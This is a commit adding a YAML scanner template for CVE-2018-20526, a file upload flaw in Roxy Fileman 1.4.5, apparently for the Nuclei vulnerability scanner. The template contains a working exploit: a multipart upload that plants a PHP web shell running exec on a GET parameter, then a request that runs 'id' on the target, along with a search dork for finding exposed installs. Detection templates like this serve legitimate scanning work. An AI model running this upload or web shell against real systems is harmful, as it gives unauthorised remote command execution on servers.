Create CVE-2018-20526.yaml

patch-1
Dhiyaneshwaran 2022-08-16 15:34:44 +05:30 committed by GitHub
parent 98b85a139f
commit fd7ac2aeb6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 77 additions and 0 deletions

View File

@ -0,0 +1,77 @@
id: CVE-2018-20526
info:
name: Roxy Fileman 1.4.5 - Unrestricted File Upload
author: DhiyaneshDK
severity: critical
description: |
Roxy Fileman 1.4.5 allows unrestricted file upload in upload.php.
reference:
- http://packetstormsecurity.com/files/151033/Roxy-Fileman-1.4.5-File-Upload-Directory-Traversal.html
- https://www.exploit-db.com/exploits/46085/
- https://nvd.nist.gov/vuln/detail/CVE-2018-20526
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20526
metadata:
verified: "true"
google-dork: intitle:"Roxy file manager"
tags: cve,cve2018,roxy,fileman,rce,fileupload
requests:
- raw:
- |
POST /php/upload.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20kgW2hEKYaeF5iP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Origin: {{BaseURL}}
Referer: {{BaseURL}}
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="action"
upload
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="method"
ajax
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="d"
/Uploads
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php7"
Content-Type: application/octet-stream
<?php
echo exec($_GET["cmd"]);
?>
------WebKitFormBoundary20kgW2hEKYaeF5iP--
- |
GET /Uploads/{{randstr}}.php7?cmd=id HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- "uid="
- "gid="
- "groups="
- type: word
part: header
words:
- text/html
- type: status
status:
- 200